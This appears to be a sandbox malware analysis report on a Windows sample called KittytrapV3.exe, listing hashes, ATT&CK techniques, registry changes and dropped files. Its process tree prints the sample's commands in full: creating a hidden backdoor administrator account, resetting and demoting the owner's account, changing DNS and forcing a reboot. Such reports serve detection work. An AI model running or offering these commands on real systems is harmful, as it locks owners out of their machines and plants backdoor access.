8531e82a9d4ca8a0f08d678b680695292585ef8fcfd334850601ab1a628a34a0

Analysis

user interaction
yes
max time kernel
4s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 01:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
KittytrapV3.exe
Size 95.7MB
Sample260803-cc32gsaf53
SHA256 8531e82a9d4ca8a0f08d678b680695292585ef8fcfd334850601ab1a628a34a0
MD5 f7a368fa6307cbf94ae0aa1456f61cb8
SHA1 768f71307344eabe5a8909cc47bef5c750c244d8
SHA512 d628c5676813b143381c3a13ed2182e12ea02b792927af0e22911ef94fa33ed4d489e78723f8a1c0c918dbfaf40aab612e2d936c16fb5dfd4e960a7aebe5fd20
SSDEEP 786432:XWyHz4Y9bxjYoFxrogpIaLEGm1aJDrNwuBdM+TkvgKpn/jzVROH0zX23Gslgb:X/H0eb7xpISEGXrNNBTkvgG8Ub
TLSH
T14228CF15A7D8471AD63FC27CC5638112E6F1B86213A1D6CF8854EE8D3FA3BC16736262
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Loads dropped DLL 14 IoCs

pid	Process
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe
5892	KittytrapV3.exe

Modifies visibility of existing users in the login screen 1 TTPs 1 IoCs

A user account was hidden or made visible on the Windows login screen through a registry modification.

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Admin = "1"	KittytrapV3.exe

Unexpected DNS network traffic destination 4 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	1.1.1.3
Destination IP	1.1.1.3
Destination IP	1.1.1.3
Destination IP	1.1.1.3

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\D:	unregmp2.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\B:	unregmp2.exe

Modifies WinLogon 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\HideFastUserSwitching = "0"	KittytrapV3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	KittytrapV3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	KittytrapV3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Admin = "1"	KittytrapV3.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1792	net.exe
2624	net1.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Control Panel\Desktop\Wallpaper = "C:\\KittyImages\\wall.jpg"	KittytrapV3.exe

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2464	cmd.exe
2756	cmd.exe
4300	cmd.exe
1980	cmd.exe
3764	cmd.exe
1956	cmd.exe
788	cmd.exe
4972	cmd.exe
4120	cmd.exe
3352	cmd.exe
6036	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Modifies Control Panel 2 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Control Panel\Desktop\WallpaperStyle = "2"	KittytrapV3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Control Panel\Desktop\TileWallpaper = "0"	KittytrapV3.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1472	wmplayer.exe
Token: SeCreatePagefilePrivilege	1472	wmplayer.exe
Token: SeShutdownPrivilege	3568	unregmp2.exe
Token: SeCreatePagefilePrivilege	3568	unregmp2.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5892 wrote to memory of 1472	5892	KittytrapV3.exe	91
PID 1472 wrote to memory of 3568	1472	wmplayer.exe	92
PID 5892 wrote to memory of 1956	5892	KittytrapV3.exe	93
PID 1956 wrote to memory of 1792	1956	cmd.exe	96
PID 1792 wrote to memory of 2624	1792	net.exe	97
PID 5892 wrote to memory of 2464	5892	KittytrapV3.exe	98
PID 2464 wrote to memory of 5500	2464	cmd.exe	100
PID 5500 wrote to memory of 2324	5500	net.exe	101
PID 5892 wrote to memory of 788	5892	KittytrapV3.exe	102

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "FEMDOM LOSER"	KittytrapV3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "really? click on this?? ;3 ur pass 123"	KittytrapV3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0"	KittytrapV3.exe

C:\Users\Admin\AppData\Local\Temp\KittytrapV3.exe
"C:\Users\Admin\AppData\Local\Temp\KittytrapV3.exe"
1⤵
- Loads dropped DLL
- Modifies visibility of existing users in the login screen
- Modifies WinLogon
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5892
- C:\Program Files\Windows Media Player\wmplayer.exe
  "C:\Program Files\Windows Media Player\wmplayer.exe" /fullscreen "C:\Users\Admin\AppData\Local\Temp\intro.mp4"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\System32\unregmp2.exe
    "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:3568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user KittyOwner /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\net.exe
    net user KittyOwner /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user KittyOwner /add
      4⤵
      Creates a new local user account
      PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user KittyOwner uOeSo6mTfAktcN0f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\net.exe
    net user KittyOwner uOeSo6mTfAktcN0f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user KittyOwner uOeSo6mTfAktcN0f
      4⤵
      PID:2324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net localgroup "Administrators" KittyOwner /add
  2⤵
  - Executes a command shell one-liner
  PID:788
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" KittyOwner /add
    3⤵
    PID:5408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" KittyOwner /add
      4⤵
      PID:3684
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user "Admin" 123
  2⤵
  - Executes a command shell one-liner
  PID:2756
- - C:\Windows\system32\net.exe
    net user "Admin" 123
    3⤵
    PID:4264
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Admin" 123
      4⤵
      PID:5952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user "Admin" /passwordchg:yes /expires:never
  2⤵
  - Executes a command shell one-liner
  PID:4300
- - C:\Windows\system32\net.exe
    net user "Admin" /passwordchg:yes /expires:never
    3⤵
    PID:4500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Admin" /passwordchg:yes /expires:never
      4⤵
      PID:4220
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user "Admin" /active:yes
  2⤵
  - Executes a command shell one-liner
  PID:1980
- - C:\Windows\system32\net.exe
    net user "Admin" /active:yes
    3⤵
    PID:4924
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Admin" /active:yes
      4⤵
      PID:2168
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net localgroup "Administrators" "Admin" /delete
  2⤵
  - Executes a command shell one-liner
  PID:4972
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" "Admin" /delete
    3⤵
    PID:3688
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" "Admin" /delete
      4⤵
      PID:1092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net localgroup "Users" "Admin" /add
  2⤵
  - Executes a command shell one-liner
  PID:4120
- - C:\Windows\system32\net.exe
    net localgroup "Users" "Admin" /add
    3⤵
    PID:1232
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Users" "Admin" /add
      4⤵
      PID:612
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh interface ip set dns name=Ethernet source=static addr=1.1.1.3
  2⤵
  - Executes a command shell one-liner
  PID:3352
- - C:\Windows\system32\netsh.exe
    netsh interface ip set dns name=Ethernet source=static addr=1.1.1.3
    3⤵
    PID:2636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh interface ipv6 set dns name=Ethernet source=static addr=2606:4700:4700::1113
  2⤵
  - Executes a command shell one-liner
  PID:3764
- - C:\Windows\system32\netsh.exe
    netsh interface ipv6 set dns name=Ethernet source=static addr=2606:4700:4700::1113
    3⤵
    PID:2528
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c shutdown /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  PID:6036
- - C:\Windows\system32\shutdown.exe
    shutdown /r /t 0 /f
    3⤵
    PID:5876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
PID:3408

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a3e855 /state1:0x41c64e6d
1⤵
PID:5528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:1008

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create Account

T1136

Local Account

T1136.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Users

T1564.002

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 896KB
SHA256 021af49d0ccf71799341d6d76a90626477d4a7c68a0815d3e7726e1da34edb2f
MD5 14b807eef6797805b9b66feb10f5bd24
SHA1 e54c48bfa987df2cc101139f3a7333fb51ce18a7
SHA512 897926a92744421e5144f25c9e20b50dd46a770e5b2b39755f44f7e479d547685fefff3ae3b128258bb8f991285858c8fd0dc48706fe6c63d675de61a9ca69a2
SSDEEP 1536:sNpZo6YlHtMPeqWra/p1Y4LL+GqEMioTaBacg:sNp6dzqia/5+60Tal
TLSH
T1B51530379164A088CF3C31B2E5ED5F0DBE23A50A12E002465F74667FBA633CD991B5E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 1024KB
SHA256 532fbe7af1d53eced54f98009c671ac6d06aa0d5b4467910f0ff8d4caaa4d725
MD5 a741584f555e8497ad4dd97f6654f0e1
SHA1 bfcb7262f6b778b25206195ae28c5d1dd10c3856
SHA512 008fbee9e0b8f2d473e009ab6ce95f7ed91aa8a89e99bea13813d26886c6a75fcbcc07d5b6a0bba01428c62e17b7427520e0f6390246428ea775a6162178994b
SSDEEP 768:80aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdbaq:SZP2tFP3vqY8kqEMXTaBacgna
TLSH
T12C258537D190B0C5CE2CB171E9ED8F09BA23A10B11A052465FF8957E7A633D99D0B1EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WMSDKNS.XML

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Kittytrap.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\Kittytrap.dll
Size 25.1MB
SHA256 3193e475acd232716cae86ae9e731ca3f50743c43618629e605d7f669a312ff1
MD5 64d78647c6f3d7795114e93188aaf025
SHA1 e4f61187bb18cfe572acda06bdb0399823bc01ed
SHA512 bc1d03ea677576b0d5f26bdd93ac480a349b99273bafb2436b5b6bcdcabe714193c01d9d8492a051be2b4cdd0e10f2c4ab4e9133a3d1a9df496c4025c89b6d50
SSDEEP 393216:G1Am4Y9azm4Hix9bSEY3tNSneALt0cnmvFgpBz6QcDYLEG4NR1aJDr1a38wVlW/T:04Y9bxjYoFxrogpIaLEGm1aJDrNwuBd
TLSH
T1E14723D16F148A9CE7A023B85CF042C065E9B93DE1E4E686EC015F9FFCB534568427BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Win32.Registry.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\Microsoft.Win32.Registry.dll
Size 114KB
SHA256 31f5a1cb2046a26c7be2e3a0a18770d8445f0c9d7213ed7365a8403fcca77ab5
MD5 4aac66cd0c4ace7cffcd3773243b0803
SHA1 c525964d67dd354d5220b8293a62bfb45b410801
SHA512 d536ee1e36e424294a9110c384d6e9a55f5fcd7bb75882cfaeee34cd4a20865949cfdf356d1521312a705ac4c88ba4e3026910dcf1e0cd69d7be0eb7d86d4339
SSDEEP 3072:E8Qwrfx6bAYMteaJSvEdy7IViadv5uatHi+Thi:BJVteaJSvEdE8RI+TU
TLSH
T188B36B20BBC4410FEA7E41B89C734846E232F5A65741ABDF4695C0DD2FA3BC6F632562
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Collections.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Collections.dll
Size 290KB
SHA256 11de530ddce2c99a0be5fcefa0e040062860cd41824834f42e06761a949af957
MD5 75c00f6f6113d35e475b9a1ec166186b
SHA1 ffb8a304155d9c13f58d5cc18c4a7aeceb51701d
SHA512 9234b7521192c44471416d61a2c31b4fc12bb54d36d2ab1d91fc1d4ad02466b7c88e22164264464b4d930592907eb3b8db71ba8c43a88ca57a6a8acd758e2669
SSDEEP 6144:rtH48sjvCSCDLEFCL8ph2wqXh0PRbHkbtXcD:rrUvCS8qCL9wqx2bHkbtC
TLSH
T1CC54392873CC2711FDBE41BAE693C042E3799152435082EB46BDF6519F9BFC12ABB025
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.ComponentModel.Primitives.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.ComponentModel.Primitives.dll
Size 78KB
SHA256 85485dd7639c9449b7d90e305e66612bcd46d14bfb2c216eb6b5c1572ddec1c4
MD5 75f0a60be7fd71384940695df296fb95
SHA1 c4abd4a812e95893945c7c5f1806193678fa7cff
SHA512 c174437cd631eb157eaffc46e93a0f76644a90aa6d6175a372fba08f389bb101ed384cbaecbd7b355eda4bf93e39a7422188c8c9311346faa0a173c5bfc8671c
SSDEEP 1536:e5a9l7Z7h4qjUzMJVLvrYu2nCXK5tZgpcBzd:e+l7Z7h4BIrLvr52CXKOgh
TLSH
T151733A1813E8431AEAAD567C96B399109574F5971313D9CF85E0DA0E2F8F7C2F231A2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Diagnostics.Process.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Diagnostics.Process.dll
Size 322KB
SHA256 786e7825067b48fd2cb9e10b1c971f547a0e83814a1a9b7951b8b64ca1e0b808
MD5 2930cf2c21066ff277510b83d2d3de06
SHA1 cadbccd74d06c4689b083fb0f7de46c8e703f8b6
SHA512 521a6add5987e7b91e95a1ed0a9e3648d5a1ecacb63615e8459cdc2ce01a9176264190a58d95e2e05aed83ad163964665363d32f0943b7d55d5a57a711f4ac98
SSDEEP 6144:uaTnBsJOyjlS+LeRqWwxov9jb3bG1PjdlfOGiHn4LFh:uarBAOyjYqeROxhFIHn4Zh
TLSH
T1DF648E24AB88850DFBAD82788463C402E1BDB443378DD7DB4A54DD992F7B7C6A7311B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Linq.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Linq.dll
Size 682KB
SHA256 5e36874e08bb3579aba965097ac9d3b2462ac5d631e8b095ead53289b10074e8
MD5 3057e704f0168bd150cc656b99efcf06
SHA1 936cf6e5ecdd872209dc6068a33e1668ca965272
SHA512 11f1b96477915266b2fca699a14613470fbcdc3014e43beaaebe700bbfda43857a9ae5cf40bca54328af89afd6ea5d8d4f16c85755b70143163db9f5b48b8162
SSDEEP 12288:HSa5IvfEbReykb2SNb5i8y2Nt9N7u3esbH:HSR6R7kb2SNb7PjK3esr
TLSH
T103E46C28E39CCB22C62E4A7AB5235135D36153D26792C9CB964CED442FE3BC1667D32C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Memory.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Memory.dll
Size 158KB
SHA256 a8e1263bfb450d029562302f3784fd91106d8c67f28008a5104faf91503bba3e
MD5 7f3359b8377b530459f45160d7fe87a5
SHA1 3db9da69f5f819e64678385321cfe55ffd8c72ee
SHA512 2068fd6f756ebb6c32816cf35fb0eab482d20a8c9ef022bf15a0b335e97a9981b921b0e948900c8d5fd657021496906bcb3e5514bfbeb845dffe5780f1c00bb4
SSDEEP 3072:Yabfv1/38goVRXZ1isc8JyyKhpwaGrpXki4T/hSGd:Bd383by3vwaGraiw5SE
TLSH
T16DF35A1BD3980257DA2FD6BA8796C202EF336001D711A1CB48D4DA44AF53BE1BF76936
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.NetworkInformation.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Net.NetworkInformation.dll
Size 154KB
SHA256 8a0e7156004e255b7f94d397bfb3f646c3fd0f8c3a286d3f7005ef49da453750
MD5 04795c5e3ef4a41e9c391ed9ca9b3ab4
SHA1 c0c2e913de91016e77e4351828f8668b033c7d55
SHA512 8c15e2676ab787b3466f08f2dfbf1f1b3e7b19cba7c758d9c772b1e2589e3de41d7f5eb9d4dbfc8124bb53363e48be5f95db46effe8ecffda334930d3b812385
SSDEEP 3072:BFqySgUx6wLv3mqP6ub8VkDLVXyVwaVGT9O5xlMmkH:xSgUx6ux5bWJRPlo
TLSH
T1C7F35C1193940216EA9BC23AB1E76E03953BE6C16323D6DB1588ADDC2EF37D0B731652
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Net.Primitives.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Net.Primitives.dll
Size 206KB
SHA256 92639fa57d6ea7bbcbd47f5d108a615cafc75929f5dddda25ceae33db60e959c
MD5 d679d13e700b0f8645e2de5d1a7519f0
SHA1 53d2015142d1b9fa7cbcb6dd1841c569a9eda42a
SHA512 0a2d98055897102b68264c3f4e3b5733055a10507225f6c6126accad66d2873b1db9d0b0c19ca03b4c4fdf6d1395a8c86c7df22706c14f1ef9e7b963a629d4dc
SSDEEP 6144:i0yf5VGYBigOpZAcus4Uzz3KGY+jXHJK8:a1Bp+es5f3KGY83JK8
TLSH
T18A245B29638C460BF76F85788B13CA06E373B5425306D6DB1AA499C47FA37C4BF72192
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Private.CoreLib.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.CoreLib.dll
Size 15.3MB
SHA256 bb9a91b896447b666487d7c6538d0e1a79dbed3604ed913315a59a7c0ec6e7c6
MD5 acfd2ad4337d0efcc734098d70a04e2d
SHA1 f60108139a10cc492daa93491478611c1536b097
SHA512 0b569773107d2d0910574c0ef02c487ecc332575ec5ae679fa6383249c36a0ef37d95dd5677cebb29310b2575ccc05aa2977626003b79672d87c359b82d5fcc8
SSDEEP 196608:tz8tp+2zZ5bTp7Okcl8QP7uOH0XrGGEyllZqe03:J8tp/lxTp7al8Q6OH0XrvX2N
TLSH
T1BDF69D10E3D4CB4AE53E927C8153C225EAB5F8926326C2C70158EA493F63FD9673B761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Private.Xml.Linq.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.Xml.Linq.dll
Size 382KB
SHA256 c028f975e4c4487a6266efe93106b17ed0e1020a1ef802efb2c971a7cabb2ad1
MD5 06bb429392c39ea13c6e780372461094
SHA1 ae29b751e6fa9225a40353d2966a2a06017c0034
SHA512 6d81143f0512cd024ceb0f3280e1c065fc1e3395f8aeae6a96c743e8534f2f6d77075c798159592425cde0bbf8f84c055a192e0f0a2528385f914b8a38b32e24
SSDEEP 6144:hgRQPsxlsLJpYKcscCx8tYSqLiViCDPuA:hg6PsxexmYSV3v
TLSH
T17C847C24E3C80A12DF6F92BCC153C941E1B1D25243DAD6CB8538EFE55E8B7C4A67216B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Private.Xml.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Private.Xml.dll
Size 7.4MB
SHA256 9380bd61bfb15a0066cbf5c10f9a50729c8020d72c84a8eb37fb0074c582b392
MD5 2be1447da6983713c5b246904aa248c8
SHA1 5e076da5fc82b6ef91c98a179fcb813e72c8b273
SHA512 96c7cdc1861c76ef4b1656bf63bc2ab9673a92f3db5c2badc523cbacf92ae2e9a47bf6253dc3a1e691d5ae1da3997ef8f91b3b347f09c07aea4b12792e33a648
SSDEEP 98304:Smv4nygnKe+85ykjHD0x5TSJqjfAF31DMsrUA:LvEMoyGHeTSAE3xM8V
TLSH
T1C3767C14B3C40A19D32FC27D92238611E6F9B8933356EAEF0458DAC51F937C18A7766B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Runtime.InteropServices.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Runtime.InteropServices.dll
Size 110KB
SHA256 500ba5ed075420e8d6857bf38c79708a062f855d1ce87d505b3f1df9357806c6
MD5 dfa380da21f3ae64310eee6918df2ef2
SHA1 34af7a2ce82c6e5482478a08a11d339b9cf193f8
SHA512 d795a7f7ab82926804616258a5c67e0d53d766f970c1d17d3cdbf38d7cf72b081353aa21e9bb0a860e203da61e9346404609d77dfcbfccae56b6e52bf21b71a6
SSDEEP 1536:up2RQtNQMAyNBKTerzicKDq5t4udNY/w2yVvONugk94RHPeF20gB8qzT7:upAiNQMAIKTVC2udNY42ypAuSmcaqX7
TLSH
T1C6B34A207B98863ACA5A473898336D04CEB3FEC69322E6CF9544C49D0FD77C066757A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Security.Claims.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Claims.dll
Size 98KB
SHA256 a57dc1dfd3d2cb774e517e826c05d3e81098d09cee868de4104cf6f1a8a7c4c5
MD5 3c4e6509e453012fef309a02781ffe30
SHA1 01b134f0357c97d121d172da5ee3bf2a98ea382f
SHA512 203f20a1726dd0ec4bb8682ef22fb340312c6107feabb8bc363a48b9c3f7bca799961195d823a08d9584d6ee6fa135a225f7fe8f2d43c42d35dd87b3c3946ef2
SSDEEP 1536:mhAUIoA3VU8GPjLLWNYcIfc/H31IMrOQwQ7rzUU3q2bP6mBvjrvzs:m2doGVU8GbLLaYcIfc/hNRI
TLSH
T1BBA34A1877EC0316D6BB0E3D85F28009D5B5F9822722C6EF09399A0D5E97BC1D631E2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Security.Cryptography.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Cryptography.dll
Size 2.4MB
SHA256 b11f291573c6dbd6b3d1cadcd0e7a4f7eced94ff009e4061981d91f1315f721a
MD5 5a099f2c157948a4871084b653eccb7d
SHA1 3756cce480c3c95d55e567a0542a8c1a98aa098e
SHA512 c5985ea44c654d1d07c7d2214285a52339acd80d28cf42a6e30d7f51d8f70c1258e8763486cf23b7e1d1652713596146f8cd07d77935d575b38288fb42d2d5c1
SSDEEP 49152:k+eiPVGpQ+nlM82RPOmtx/VBmNDx+62tlDzn:BeD9llmT
TLSH
T1CEC57C04B3C4064AD1AEDAFEC1174956D5B0F44693C29BEF46C9CE482FA37C2977226B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.Security.Principal.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV3\vro3jQFSYtUA\System.Security.Principal.Windows.dll
Size 174KB
SHA256 972a50bb0fb2569e1b77c20465ce8783fc53dba9c2132a33a749ef72977a4c23
MD5 f06d5b5f7d0e57ef8079cde389a1a0df
SHA1 d4ea8fb46777c85eb0be012f69501fd88d856c8c
SHA512 644e00c18e4f88b12d0686c1d193758f0abe31b1dac904000949eccea54c087e50ad3139d197618af05267286a87b687381d1ba418dd97e0a368c06afc1f9dd0
SSDEEP 3072:tA6a2mRkHtntehhzNUxmbr/3rsd1MVbXpWwsh6aH:O6a2l1tscmbr/w88VH
TLSH
